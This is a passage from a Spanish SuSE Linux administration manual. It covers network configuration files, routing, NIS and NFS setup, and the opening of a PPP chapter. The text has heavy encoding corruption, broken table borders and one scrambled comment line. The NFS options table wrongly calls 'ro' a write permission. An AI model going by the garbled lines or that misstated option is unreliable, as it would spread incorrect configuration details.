_________________________________________________5.2.__Configuraci≤n_manual_de_la_red_~_┐D≤nde_tocar?______________________*
*_______________________
6. Salga de la pantalla seleccionando `Continuar'.
7. Active el dispositivo de red con |F___|_4.
8. Pulsando | _____|F10se guarda__la configuraci≤n. Para salir de la pantalla sin
guardar los cambios pulse |E____s|c.
9. La opci≤n `Cambiar nombre del host' permite otorgar un nombre a
la computadora o el cambio del mismo. El cuadro de dißlogo pide tambiΘn
la introducci≤n del nombre de dominio al cual pertenece la computadora.
10. Con la opci≤n `Configurar servicios de red' se puede decidir
cußles servicios de red se deben activar durante el arranque. Estos pueden
ser el inetd , el programa portmap y el servidor NFS. TambiΘn se deter-
mina cußl nombre de computadora y dominio debe aparecer en la lφnea
''From'', enviando mensajes al USENET.
o El inetd sirve para iniciar determinados servicios de red (p. ej. telnet,
finger, ftp etc.) en el momento necesario. Se aconseja iniciar el inetd
en cada arranque de sistema, ya que, sin su presencia, no se pueden ac-
tivar muchos servicios de red; si su sistema estß expuesto a intrusiones,
tenga en cuenta los consejos del apartado 18.2.2 en la pßgina 461El in-
etd subsection.18.2.2. .
o Para usar la computadora como servidor NFS o NIS es preciso iniciar
el Portmapper portmap cuando el sistema arranca. Una vez se ha de-
cidido iniciar el Portmapper el programa le pregunta si quiere arrancar
tambiΘn el servidor NFS.
11. La opci≤n `Configuraci≤n DNS' permite la configuraci≤n de uno o
varios servidores de nombre. Es posible indicar hasta tres direcciones
IP separadas por espacios.
12. Con la opci≤n `Configurar sendmail' se puede efectuar una configu-
raci≤n bßsica del paquete sendmail . El apartado 6.8 en la pßgina 204Va-
mos a escribir ~ Configuraci≤n de sendmailsection.6.8 contiene una de-
scripci≤n explφcita de la configuraci≤n de sendmail.
YaST le soporta tambiΘn en la modificaci≤n del fichero de configuraci≤n cen-
tral /etc/rc.config, que contiene una multitud de opciones (ver aparta-
do 17.6 en la pßgina 437Las variables en /etc/rc.config ~ Configuraci≤n
de sistemasection.17.6).
Aquφ se termina la configuraci≤n de la red y YaST inicia SuSEconfig , que se
encarga de introducir las indicaciones hechas en los correspondientes ficheros
(ver apartado 5.2). Para activar los ajustes y usar la nueva configuraci≤n hay
que iniciar de nuevo los daemons usados. Esto se consigue introduciendo el
siguiente comando:
tierra:~ # rcnetwork restart
(ver tambiΘn capφtulo 17 en la pßgina 431El concepto de arranque de SuSE
Linux chapter.17).
5.2 Configuraci≤n manual de la red ~ ┐D≤nde tocar?
La configuraci≤n manual de la red no es muy aconsejable, ya que es mßs
sencillo servirse de YaST . No obstante puede haber casos que exigen un
*
* 157
5. Linux en la red________________________________________________________________________________________________________________*
*_______________________________________@
retoque manual, porque YaST no cubre todo el campo de la configuraci≤n
de redes.
5.2.1 Ficheros de configuraci≤n
En resumen, este apartado explica la funci≤n de los ficheros de configuraci≤n
de red y expone sus formatos.
/etc/rc.config
Este fichero de configuraci≤n central (ver apartado 17.5 en la pßgi-
na 435/etc/rc.config y SuSEconfig section.17.5) contiene la mayorφa
de las opciones de configuraci≤n de red. La mayorφa de los ficheros que
figuran a continuaci≤n se generan automßticamente cuando se modifica la
configuraci≤n de red con YaST o cuando se ejecuta SuSEconfig despuΘs
de una modificaci≤n manual de /etc/rc.config. TambiΘn se modifican
con Θl los scripts de arranque.
________________________________________________________________________________________________________*
*________
| Al modificar el fichero /etc/rc.config a mano, siempre se ha de ejecu- *
* ||||
| *
* |||
| tar posteriormente SuSEconfig para que los cambios en la configuraci≤n *
* |||
| se escriban automßticamente en los ficheros correctos. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
/etc/hosts
Este fichero (ver fichero 5.2.1) tiene una tabla de asignaci≤n entre nom-
bres de computadoras y direcciones IP. En esta tabla deben aparecer todas
las computadoras a las que se quiere establecer una conexi≤n IP cuando
no se usa un servidor de nombres. Cada computadora ocupa una lφnea
en la tabla que contiene el n·mero IP, el nombre completo de la com-
putadora y el nombre (abreviado), p. ej. tierra . La lφnea debe comenzar
con la direcci≤n IP y las demßs indicaciones se separan con espacios o
tabuladores. Los comentarios comienzan con `#'.
________________________________________________________________________________________________________*
*________||
| # *
* |
| # hosts This file describes a number of hostname-to-address *
* |
| # mappings for the TCP/IP subsystem. It is mostly *
* |
| # used at boot time, when no name servers are running. *
* |
| *
* |
| # On small systems, this file can be used instead of a *
* |
| # "named" name server. Just add the names, addresses *
* |
| # and any aliases to this file... *
* |
| # *
* |
| *
* |
| 127.0.0.1 localhost *
* |
| 192.168.0.1 sol.cosmos.univ sol *
* |
| 192.168.0.20 tierra.cosmos.univ tierra *
* |
| # End of hosts *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 5.2.1: /etc/hosts
/etc/networks
En este fichero se convierten los nombres de redes en direcciones de red.
El formato se parece al del fichero hosts solo que aquφ los nombres de
las redes aparecen por delante de sus direcciones IP (ver fichero 5.2.2 en
la pßgina siguiente).
158
_________________________________________________5.2.__Configuraci≤n_manual_de_la_red_~_┐D≤nde_tocar?_____________________________*
*________________
_______________________________________________________________________________________________________________________||
|||||||| # |
|||||||||## networks This mfileapdescribespiangnumbers offonetname-to-addressr the TCP/IP subsystem. It is mostly||
|||||||| # used at boot time, when no name servers are running. |
|||||||| |
|||||||| # |
|||||||| loopback 127.0.0.0 |
|||||||| localnet 192.168.0.0 |
|||||||| # End of networks. |
||||||||_______________________________________________________________________________________________________________ |
Fichero 5.2.2: /etc/networks
_____________________________________________________________________________________________________________
order hosts, bind Determina el orden de llamada a los servi-
cios de resoluci≤n de nombres. Los parßmet-
ros posibles son:
hosts: B·squeda en el fichero /etc/hosts
bind: Llamada a un servidor de nombres
multi on/off Determina si una computadora dada de al-
ta en /etc/hosts puede tener varias direc-
ciones IP.
nospoof on Estos parßmetros influyen sobre el ''spoof-
alert on/off ing'' del servidor de nombres, pero no tienen
ninguna influencia adicional sobre la config-
uraci≤n de red.
trim <domainname> El nombre de dominio que se indica aquφ, se
resta del nombre totalmente cualificado de la
computadora que lo contiene (antes de asig-
nar la direcci≤n IP al nombre de computa-
dora). Se trata de una opci≤n de utilidad
cuando el fichero /etc/hosts solo contiene
nombres de computadoras locales (alias) y,
estos deben ser reconocidos tambiΘn cuando
se a±ade el nombre del dominio.
_____________________________________________________________________________________________________________
Tabla 5.2: Parßmetros de /etc/host.conf
159
5. Linux en la red________________________________________________________________________________________________________________*
*_______________________________________@
/etc/host.conf
Este fichero controla el funcionamiento de la biblioteca de resoluci≤n,
que convierte nombres de computadoras en direcciones IP. Hay varios
parßmetros para ajustar y cada uno debe estar en una lφnea aparte. Los
parßmetros admitidos figuran en tabla 5.2 en la pßgina anterior; los co-
mentarios comienzan con el sφmbolo `#'.
El fichero 5.2.3 muestra un ejemplo de /etc/host.conf.
________________________________________________________________________________________________________*
*________||
| # *
* |
| # /etc/host.conf *
* |
| *
* |
| # *
* |
| # We have named running *
* |
| *
* |
| order hosts bind *
* |
| # Allow multiple addrs *
* |
| *
* |
| multi on *
* |
| # End of host.conf *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 5.2.3: /etc/host.conf
/etc/nsswitch.conf
Con la version 2.0 de la librerφa GNU de C comenz≤ el uso del ''Name
Service Switch'' (NSS) (ver pßgina del manual de nsswitch.conf
(man 5 nsswitch.conf ) y mßs explφcito en The GNU C Library Ref-
erence Manual, capφtulo "System Databases and Name Service Switch"
1 ).
El fichero /etc/nsswitch.conf determina en cußl orden se solicitan
determinadas informaciones. El fichero 5.2.4, muestra un ejemplo para
nsswitch.conf en el cual las lφneas de comentarios comienzan con `#'.
Respecto al ''banco de datos'' hosts, el ejemplo siguiente indica que
se envφa una solicitud al servicio DNS (ver paquete named) despuΘs de
consultar /etc/hosts (files ).
| *
* |
________________________________________________________________________________________________________*
*________||
| # *
* |
| *
* |
| # /etc/nsswitch.conf *
* |
| # *
* |
| passwd: compat *
* |
| *
* |
| group: compat *
* |
| *
* |
| *
* |
| hosts: files dns *
* |
| networks: files dns *
* |
| *
* |
| *
* |
| services: db files *
* |
| *
* |
| protocols: db files *
* |
| *
* |
| *
* |
| netgroup: files *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 5.2.4: /etc/nsswitch.conf
_____________________________________________1
paquete libcinfo, serie doc.
160
_________________________________________________5.2.__Configuraci≤n_manual_de_la_red_~_┐D≤nde_tocar?___________________________*
*__________________
Los ''bancos de datos'' accesibles vφa NSS se mencionan en la tabla 5.3.
Para el futuro se espera tambiΘn la disponibilidad de automount ,
bootparams , netmasks y publickey .
_____________________________________________________________________________________________________________
aliases Mail-+ Alias, usado por sendmail(8); ver pßgina del
manual de aliases (man 5 aliases ).
ethers Direcciones de ethernet.
group Usado por getgrent(3) para grupos de usuarios; ver
pßgina del manual de group (man 5 group ).
hosts Para nombres de host y direcciones IP, los usan fun-
ciones como gethostbyname(3) o parecidas.
netgroup Lista de hosts y de usuarios vßlida en la red para ad-
ministrar los derechos de acceso; ver pßgina del man-
ual de netgroup (man 5 netgroup ).
networks Nombres y direcciones de redes, lo usa getnetent(3).
passwd Contrase±as de usuarios, que usa getpwent(3); ver
pßgina del manual de passwd (man 5 passwd ).
protocols Protocolos de red; informaci≤n usada por
getprotoent(3); ver pßgina del manual de
protocols (man 5 protocols ).
rpc Nombres y direcciones del tipo ''Remote Procedure
Call''; lo usan getrpcbyname(3) y otras funciones
parecidas.
services Servicios de red; lo usa getservent(3).
shadow Las contrase±as ''Shadow'' de los usuarios, usado
por getspnam(3); ver pßgina del manual de shadow
(man 5 shadow ).
_____________________________________________________________________________________________________________
Tabla 5.3: ''Bancos de datos'' accesibles a travΘs de
/etc/nsswitch.conf
Las opciones de configuraci≤n de los ''bancos de datos'' NSS se encuen-
tran en tabla 5.4 en la pßgina siguiente.
_____________________________________________________________________________________________________________
files acceso direkto a los ficheros, p. ej. a /etc/
aliases.
db acceso a travΘs de un banco de datos.
nis NIS , ver apartado 5.4 en la pßgina 166NIS, las
pßginas amarillas del LANsection.5.4 .
nisplus
dns Parßmetro adicional, solo aplicable para hosts
y networks .
_____________________________________________________________________________________________________________
Tabla 5.4: Contin·a en la pßgina siguiente ...
1*
*61
5. Linux en la red________________________________________________________________________________________________________________*
*_______________________________________@
____________________________________________________________________________________________________*
*______
compat Parßmetro adicional para passwd , shadow y
group .
adicionalmente es posible conseguir diferentes resultados en ca-
so de determinados eventos ''Lookup''; hay de-
talles en pßgina del manual de nsswitch.conf
(man 5 nsswitch.conf ).
____________________________________________________________________________________________________*
*______
Tabla 5.4: Opciones de configuraci≤n de los ''bancos de datos'' NSS
/etc/nscd.conf
Este es el fichero para configurar el nscd (ingl. Name Service Cache
Daemon); ver pßgina del manual de nscd (man 8 nscd ) y pßgina del
manual de nscd.conf (man 5 nscd.conf ). La informaci≤n en cuesti≤n
es la que se encuentra en passwd , groups y hosts . Hace falta reiniciar
el daemon p. ej. cuando se cambia la resoluci≤n de nombres de dominio
(DNS) modificando /etc/resolv.conf; para ello se usa el siguiente
comando:
tierra: # /sbin/init.d/nscd restart
________________________________________________________________________________________________________*
*________
| *
* |||
| Cuando estß activada la caracterφstica ''caching'' para passwd , normal- *
* |||
| mente pasan unos 15 segundos hasta que un usuario creado de nuevo se *
* |||
| *
* |||
| conozca en el sistema. Reiniciando nscd este tiempo de espera se puede *
* |||
| reducir. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
/etc/resolv.conf
Este fichero, tal como /etc/host.conf, tambiΘn juega su papel respecto
a la resoluci≤n de nombres de computadoras con la biblioteca resolver.
Aquφ se indica a cußl dominio pertenece la computadora (palabra clave
search ) y cußl es la direcci≤n del servidor de nombres a acceder (pal-
abra clave nameserver ); se pueden indicar varios nombres de dominio.
Resolver un nombre que no sea totalmente cualificado, significa obtener
un nombre totalmente cualificado y vßlido al a±adir las indicaciones en
search . Es posible indicar varios servidores de nombre introduciendo
varias lφneas que comienzan con nameserver ; los comentarios se intro-
ducen como siempre con `#'.
Hay un ejemplo para /etc/resolv.conf en el fichero 5.2.5 en la pßgina
siguiente.
íYaST apunta aquφ el servidor de nombres que se le indica! (ver aparta-
do 5.1 en la pßgina 156Configuraci≤n con YaST section.5.1)
/etc/HOSTNAME
Aquφ se encuentra el nombre de la computadora, es decir, solo el nombre
del host sin el nombre de dominio. Hay distintos scripts que leen este
fichero durante el arranque de la computadora. íNo debe contener mßs
que una sola lφnea con el nombre de la computadora! Este fichero se
162
_________________________________________________5.2.__Configuraci≤n_manual_de_la_red_~_┐D≤nde_tocar?_______________________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| # /etc/resolv.conf |
|||||||| |
|||||||| # |
|||||||| # Our domain |
|||||||| |
|||||||| search cosmos.univ |
|||||||| # |
|||||||| |
|||||||| # We use sol (192.168.0.1) as nameserver |
|||||||| nameserver 192.168.0.1 |
|||||||| # End of resolv.conf |
||||||||_______________________________________________________________________________________________________________ |
Fichero 5.2.5: /etc/resolv.conf
genera tambiΘn automßticamente a travΘs de los parßmetros en /etc/rc.
config.
5.2.2 Scripts de arranque (Startup-Sripts)
Aparte de los ficheros de configuraci≤n mencionados, existen diferentes
scripts (macros) que inician los programas de red cuando la computadora
arranca. Estos scripts se inician cuando el sistema entra en uno de los niveles
de ejecuci≤n de multiusuario (ingl. Multiuser-Runlevel) (ver tabla 5.5 en la
pßgina siguiente).
______________________________________________________________________________________________________________________
/sbin/init.d/network Este script se encarga de la configuraci≤n
del hardware y software de la red du-
rante el arranque. Se eval·an tambiΘn los
apuntes hechos por YaST (ver aparta-
do 5.1 en la pßgina 156Configuraci≤n con
YaST section.5.1) en /etc/rc.config
sobre las direcciones IP de computadoras
y redes tal como las de mßscara de red y
gateway.
/sbin/init.d/route Sirve para definir las rutas estßticas en la
red. El apartado 5.3 en la pßgina 165Rout-
ing en SuSE Linux section.5.3 contiene
una descripci≤n detallada.
/sbin/init.d/inetd Inicia el inetd , si estuviese previsto en
/etc/rc.config. Se necesita p. ej. para
acceder desde la red a la computadora en
cuesti≤n.
/sbin/init.d/rpc Inicia el ''portmapper'', que se necesita
para usar servidores RPC como p. ej. un
servidor NFS.
/sbin/init.d/ Inicia el servidor NFS.
nfsserver
/sbin/init.d/sendmail Controla el proceso de sendmail en fun-
ci≤n de los ajustes /etc/rc.config.
______________________________________________________________________________________________________________________
Tabla 5.5: Contin·a en la pßgina siguiente ...
*
* 163
5. Linux en la red________________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
/sbin/init.d/ypserv Inicia el servidor NIS en funci≤n de los
ajustes en el fichero /etc/rc.config.
/sbin/init.d/ypclient Inicia el cliente NIS en funci≤n de los
ajustes en /etc/rc.config.
_______________________________________________________________________________________________________*
*_________
Tabla 5.5: Scripts de arranque de las utilidades de red
164
________________________________________________________________________________________5.3.__Routing_en_SuSE______Linux____*
*______________________
5.3 Routing en SuSE Linux
Introducci≤n
En SuSE Linux la tabla de ''routing'' no es administrada por las variables
en el fichero de configuraci≤n central /etc/rc.config, sino por el script
/sbin/init.d/route y el fichero de configuraci≤n /etc/route.conf.
DespuΘs de la inicializaci≤n de la red mediante los scripts de arranque
/sbin/init.d/network, /sbin/init.d/inetd, /sbin/init.d/i4l_
hardware y eventualmente algunos adicionales, /sbin/init.d/route
busca la tabla de routing en /etc/route.conf y la define para el sistema.
El fichero /etc/route.conf admite todas las rutas estßticas necesarias para
las distintas tareas en un sistema: ruta hacia una computadora, ruta hacia una
computadora a travΘs de un gateway y ruta hacia una red.
El uso del routing dinßmico con /usr/sbin/routed es otra posibilidad. Su
configuraci≤n resulta mßs complicada; se puede consultar en la pßgina de
manual (manpage) de routed .
Configuraci≤n y uso
Las reglas para escribir el fichero de configuraci≤n /etc/route.conf se
adaptan a la salida en pantalla del comando /sbin/route . Usando el coman-
do /sbin/route sin ning·n parßmetro adicional, aparece la tabla de routing
usada actualmente por el kernel. El fichero /etc/route.conf es igual al
que se obtiene mediante el comando /sbin/route exceptuando las entradas
en las columnas Flags, Metric, Ref y Use.
A continuaci≤n se presentan las reglas de /etc/route.conf:
o Se ignoran lφneas vacφas y las que tengan `#' al comienzo de ella. Una
entrada se compone de un mφnimo de dos columnas y un mßximo de
cuatro.
o El destino de una ruta se encuentra en la primera columna en forma de la
direcci≤n IP de una red o una computadora. Si hay acceso a un servidor
de nombres, se puede usar tambiΘn el nombre totalmente cualificado de
la red o de la computadora.
o La palabra clave default estß reservada para el gateway por defecto. No
se debe usar 0.0.0.0 como el destino de definiciones del routing.
o La segunda columna contiene ya sea un blanco de relleno (0.0.0.0 ),
la direcci≤n IP o bien, el nombre completo de una computadora. Esta
computadora puede ser el gateway por defecto o un gateway a travΘs del
cual se puede acceder a otra computadora o red.
o La tercera columna contiene la mßscara de red para redes o computadoras
detrßs de un gateway. Por ejemplo, para una computadora por detrßs de
un gateway el valor de la mßscara es 255.255.255.255 .
o La ·ltima columna solo es importante para las redes locales de la com-
putadora (Loopback, Ethernet, RDSI, PPP, Dummy-Device, . . . ); en ella
se apunta el nombre del dispositivo.
*
* 165
5. Linux en la red________________________________________________________________________________________________________________*
*_______________________________________@
En la Figura 5.3.1 hay un ejemplo simple de /etc/route.conf. DespuΘs
de las modificaciones en pfad/etc/route.conf, se da de alta la nueva tabla de
routing con el comando:
| tierra:~ # rcroute restart *
* |
________________________________________________________________________________________________________*
*________||||
| # Destination Dummy/Gateway Netmask Device *
* |
| # *
* |
| # 192.168.0.1 0.0.0.0 255.255.255.255 ippp0 *
* |
| # default 192.168.0.1 *
* |
| # *
* |
| *
* |
| # Net devices *
* |
| # *
* |
| 127.0.0.0 0.0.0.0 255.255.255.0 lo *
* |
| 204.127.235.0 0.0.0.0 255.255.255.0 eth0 *
* |
| *
* |
| # *
* |
| # Gateway *
* |
| # *
* |
| default 204.127.235.41 *
* |
| *
* |
| # *
* |
| # Host behind Gateway *
* |
| # *
* |
| 207.68.156.51 207.68.145.45 255.255.255.255 *
* |
| *
* |
| # *
* |
| # Net behind a Gateway *
* |
| # *
* |
| 192.168.0.0 207.68.156.51 255.255.0.0 *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 5.3.1: Ejemplo sencillo de /etc/route.conf
5.4 NIS, las pßginas amarillas del LAN
5.4.1 ┐QuΘ es NIS?
Cuando en una red existen varios sistemas Unix que quieren acceder a recur-
sos comunes, hay que asegurar la armonφa de los identificativos de usuarios y
de grupos en todas las computadoras de la red. La red debe ser completamente
transparente para el usuario, da igual en la computadora que trabaje, siempre
debe encontrar el mismo entorno, lo que se consigue mediante los servicios
NIS y NFS; el ·ltimo sirve para la distribuci≤n de sistemas de ficheros en
la red y se describe en el apartado 5.5 en la pßgina 168NFS ~ sistemas de
ficheros distribuidossection.5.5.
NIS (ingl. Network Information Service)2 se puede entender como un servicio
de banco de datos que da acceso a los ficheros /etc/passwd, /etc/shadow
o /etc/group en toda la red. NIS puede prestar tambiΘn servicios adi-
cionales, p. ej. para /etc/hosts o /etc/services, pero estos no son objeto
de discusi≤n aquφ.
5.4.2 Configuraci≤n de un cliente NIS
El paquete ypclient, serie n, contiene todos los programas necesarios para
la_configuraci≤n_de_un_cliente_NIS._Esta_precisa_de los siguientes pasos:
2 Muchas veces se usa como sin≤nimo para NIS la letras `YP'; Θstas se derivan de las yellow
pages, o sea las pßginas amarillas en la red.
166
______________________________________________________________________5.4.__NIS,_las_pßginas_amarillas_del_LAN________________*
*____________________
o Definici≤n del dominio NIS en el arranque del sistema.
Para ello hace falta configurar la variable YP_DOMAINNAME . El programa
/sbin/init.d/network contempla esta variable cuando entra en un
nivel de ejecuci≤n que usa la red y define el dominio de NIS como se
ha indicado ya.
No confunda el nombre de dominio NIS con el del dominio DNS . íEstos
pueden ser iguales pero no tienen nada que ver el uno con el otro!
o Definici≤n del servidor NIS.
El nombre del servidor NIS se define en /etc/rc.config con la vari-
able YP_SERVER . SuSEconfig escribe los nombres en el formato cor-
recto al fichero /etc/yp.conf (ver fichero 5.4.1), lo cual funciona au-
tomßticamente cuando ha usado YaST para la definici≤n de la variable.
Este fichero debe contener una lφnea que comience con la palabra clave
ypserver y que contenga el nombre del servidor NIS.
_______________________________________________________________________________________________________________________||||
|||||||| # /etc/yp.conf |
|||||||| # |
|||||||| # Syntax: |
|||||||| |
|||||||| # |
|||||||| # ypserver <servername> Define which host to contact |
|||||||| |
|||||||| # for YP service. |
|||||||| # |
|||||||| |
|||||||| ypserver sol.cosmos.univ |
|||||||| # End of /etc/yp.conf |
||||||||_______________________________________________________________________________________________________________ |
Fichero 5.4.1: /etc/yp.conf
o Es necesario que se pueda resolver el nombre del servidor NIS (p. ej.
sol.cosmos.univ) con /etc/hosts.
o Hay que asegurarse de que se inicia el RPC-Portmapper.
El funcionamiento de NIS se realiza a travΘs de RPC (ingl. Remote Pro-
cedure Calls), por eso es necesario que el RPC-Portmapper estΘ iniciado.
El script /sbin/init.d/rpc arranca este servidor lo que se resuelve au-
tomßticamente si se lo ha pedido en /etc/rc.config.
o Suplementos a las entradas en /etc/passwd y /etc/group.
Los ficheros en cuesti≤n deben llevar una lφnea suplementaria que
comience con el sφmbolo `+', para que la computadora pase una so-
licitud al servidor NIS despuΘs de haber buscado en los ficheros locales.
NIS permite activar aquφ muchas opciones adicionales, p. ej. Netgroups o
la supresi≤n de entradas NIS locales.
o Inicio de ypbind .
El ·ltimo paso en la configuraci≤n del cliente NIS es el inicio del pro-
grama ypbind , que representa el verdadero arranque del cliente NIS. Este
programa tambiΘn se inicia automßticamente si la configuraci≤n fue hecha
con YaST .
o Activaci≤n de los cambios.
Se arranca la computadora de nuevo, o bien, se inician nuevamente los
servicios necesarios con los comandos:
*
* 167
5. Linux en la red________________________________________________________________________________________________________________*
*_______________________________________@
tierra:~ # rcnetwork restart
tierra:~ # rcypclient restart
5.4.3 Servidor NIS-Master y Slave
Se debe instalar el paquete ypserv, serie n; el procedimiento exacto se expli-
ca en /usr/doc/packages/yp/HOWTO.
5.5 NFS ~ sistemas de ficheros distribuidos
Como ya se ha mencionado en el apartado 5.4 en la pßgina 166NIS, las
pßginas amarillas del LANsection.5.4, el servicio NFS sirve, junto con el
servicio NIS, para hacer una red transparente al usuario. NFS consiente
la distribuci≤n de sistemas de fichero en la red, lo que permite al usuario
encontrar siempre el mismo entorno, independientemente de la computadora
en la que trabaje.
Al igual que NIS, NFS es un servicio asimΘtrico de estructura cliente-
servidor, pero a diferencia de Θste, NFS puede ofrecer sistemas de fichero a
la red (''exportar'') y a su vez montar los de otras computadoras (''importar'').
Normalmente son solo los servidores los que exportan sistemas de ficheros,
ya que son estos los que tienen alta capacidad de almacenamiento de datos.
5.5.1 Importar sistemas de ficheros
Importar sistemas de ficheros desde un servidor NFS es muy simple y tiene
como ·nica condici≤n el inicio del RPC-Portmapper . La manera de iniciar
este servidor ya se explic≤ en el contexto de NIS (ver apartado 5.4.2 en la
pßgina anterior). De este modo es posible incorporar sistemas de ficheros
externos al sistema de ficheros local, anßlogamente a la incorporaci≤n de
discos locales, usando el comando mount ; el sistema de ficheros externo a
montar debe ser exportado debidamente por la mßquina servidora. La sintaxis
de mount es la siguiente:
mount -t nfs <computadora>:<path remota> <path local>
Se pueden importar p. ej. los directorios de usuario de la computadora sol
con el siguiente comando:
tierra:~ # mount -t nfs sol:/home /home
5.5.2 Exportar sistemas de ficheros
Una computadora que exporta sistemas de ficheros se denomina servidor
NFS. Este debe tener los siguientes servicios activados (en ejecuci≤n):
o RPC-Portmapper (portmap )
o RPC-Mount-Daemon (rpc.mountd )
o RPC-NFS-Daemon (rpc.nfsd )
Los scripts /sbin/init.d/rpc y /sbin/init.d/nfsserver inician los daemons cuando
la computadora arranca. El inicio del RPC-Portmapper ya se explic≤ en el
apartado 5.4.2 en la pßgina anterior.
168
________________________________________________________________5.5.__NFS_~_sistemas_de_ficheros_distribuidos_______________*
*______________________
Aparte de iniciar estos daemons es preciso definir cußles sistemas de ficheros
se deben exportar a cußles computadoras. Esto se realiza con el fichero /etc/
exports.
Por cada directorio a exportar se necesita una lφnea que constate cußl com-
putadora debe acceder a Θl y de quΘ forma; los sub-directorios se exportan
automßticamente. Las computadoras con permiso de acceso se indican gen-
eralmente por sus nombres (con el nombre del dominio incluido). TambiΘn
puede usar los + Comodines `*' y `?' con sus funciones conocidas de la
shell bash . Si no se indica ning·n nombre, cada computadora tiene la posi-
bilidad de montar el directorio con los derechos de acceso indicados para el
mismo.
Los derechos de exportaci≤n del directorio se indican en parΘntesis en una
lista detrßs del nombre de computadora. La siguiente tabla resume las op-
ciones de acceso mßs importantes.
______________________________________________________________________________________________________________________
ro Exportaci≤n solo con derecho de escritura (por defec-
to).
rw Exportaci≤n con derecho de escritura y lectura.
root`squash Esta opci≤n hace que el usuario `root' de la com-
putadora indicada, no tenga sobre el directorio, los
derechos especiales tφpicos para `root'. Esto se
logra modificando los accesos con el identificati-
vo de usuario (ingl. User-ID) 0 al de 65534 (-2) .
Este identificativo debe estar asignado al usuario
`nobody' (es asφ por defecto).
no`root`squash Ninguna modificaci≤n de los derechos de `root'.
link`relative Modificaci≤n de enlaces simb≤licos absolutos (aque-
llos que comienzan con `/') a una secuencia de
`../'. Esta opci≤n solo tiene sentido si se monta el
sistema de ficheros completo de una computadora (es
asφ por defecto).
link`absolute No se modifican los enlaces simb≤licos.
map`identity El cliente usa los mismos identificativos (ingl. User-
ID) que el servidor (es asφ por defecto).
map`daemon Los identificativos de usuario, de cliente y servidor, no
coinciden. Con esta opci≤n el nfsd genera una tabla
para la conversi≤n de los identificativos de usuario. El
requisito para ello es la activaci≤n del daemon ugidd .
______________________________________________________________________________________________________________________
Tabla 5.6: Derechos de acceso a directorios exportados
El fichero 5.5.1 en la pßgina siguiente muestra un ejemplo de un fichero
exports.
Los programas mountd y nfsd leen el fichero /etc/exports. DespuΘs de
haberlo modificado, es preciso reiniciar mountd y nfsd para que los cambios
*
* 169
5. Linux en la red________________________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| # *
* |
||# /etc/exports *
* ||
| # *
* |
| /home sol(rw) venus(rw) *
* |
| /usr/X11 sol(ro) venus(ro) *
* |
| *
* |
| /usr/lib/texmf sol(ro) venus(rw) *
* |
| / tierra(ro,root_squash) *
* |
| *
* |
| /home/ftp (ro) *
* |
| # End of exports *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 5.5.1: /etc/exports
se activen. Lo mßs simple para conseguirlo es la introducci≤n del comando:
tierra:~ # rcnfsserver restart
170
Capφtulo 6
Conectarse con el mundo ~ RDSI,
PPP, Fax. . .
No solo interesa conectarse a una red de ßrea local, sino tambiΘn a una red
grande y distribuida (+ WAN (ingl. Wide Area Networks)) lo que permite p. ej.
el uso de buzones de correo electr≤nico.
En el mundo de Unix se impusieron dos estßndares para la conexi≤n a redes
grandes, UUCP y TCP/IP vφa modem o RDSI. Mientras que se usa UUCP
(Unix to Unix CoPy) sobre todo para el transporte de News (noticias de
Internet) y de E-Mail , la conexi≤n vφa TCP/IP representa una conexi≤n de
red real, que ofrece todos los servicios de una LAN ~ al fin y a cabo la LAN
tambiΘn estß basado en TCP/IP.
PPP (Point to Point Protocol) 1 es hoy en dφa el protocolo preferido para usar
TCP/IP en una conexi≤n vφa modem o vφa tarjeta RDSI. En conexiones RDSI
se utiliza generalmente syncPPP y algunas veces rawip (ver apartado 6.2.5
en la pßgina 180La selecci≤n del protocolosubsection.6.2.5).
El tema de los siguientes apartados trata sobre la configuraci≤n de una conex-
i≤n de WAN. Brevemente se presenta el protocolo PPP (apartado 6.1 en la
pßgina siguiente) y se explica c≤mo conectar un modem anal≤gico (aparta-
do 6.5 en la pßgina 189Conexi≤n de modemsection.6.5) y c≤mo configurar
una conexi≤n PPP (apartado 6.6 en la pßgina 190Con el modem a Inter-
net: PPP con wvdial section.6.6). Aparte de esto, se comenta la conexi≤n
de E-Mail(apartado 6.8 en la pßgina 204Vamos a escribir ~ Configuraci≤n de
sendmailsection.6.8), configuraci≤n del sistema de noticias (apartado 6.9 en
la pßgina 207News: Las noticias mßs actuales de USENETsection.6.9) y la
posibilidad de enviar y recibir Fax (apartado 6.10 en la pßgina 209Linux +
Fax: íUna buena combinaci≤n!section.6.10) .
Minicom
Minicom es un programa de emulaci≤n de terminal de uso fßcil, cuyo manejo
es parecido al del programa DOS Telix .
Todos los usuarios que quieren usar minicom deben estar anotados en el
fichero /etc/minicom.users. Allφ se define cußles usuarios tienen derecho
de acceso a cußl modem y con cußl configuraci≤n.
La configuraci≤n_de_Minicom_se_efect·a_inicißndolo_como_`root'_con:
1 SLIP (Serial Line Internet Protocol) cada vez pasa mßs de moda.
*
* 171
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
tierra:/ # minicom -s
Los ajustes necesarios para su uso no se diferencian de otros sistemas opera-
tivos y son auto-explicativos.
________________________________________________________________________________________________________*
*________
| La combinaci≤n de teclas |C______|trl-|L_ |no funciona en un xterm o en rxvt , sin *
* |||
| ______ _ *
* |||
| embargo, funciona en kvt o en una consola de texto. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
6.1 PPP
PPP (ingl. Point to Point Protocol) ofrece la posibilidad de usar TCP/IP a
travΘs de un cable serie. Cliente y servidor de la conexi≤n PPP pueden ne-
gociar durante el inicio de la conexi≤n diversos parßmetros del protocolo. El
servidor puede comunicar al cliente su direcci≤n IP y a su vez asignarle una
direcci≤n.
Al contrario de SLIP, PPP tiene un estßndar definido y representa ahora la
·nica posibilidad de comunicaci≤n de casi todos los proveedores de Internet.
La clave de PPP estß en el daemon PPP (pppd ), que forma la interfaz para
acceder a los dispositivos PPP. Puede actuar de cliente y tambiΘn de servidor.
Del establecimiento de la conexi≤n en sφ se encarga el programa wvdial o el
programa chat .
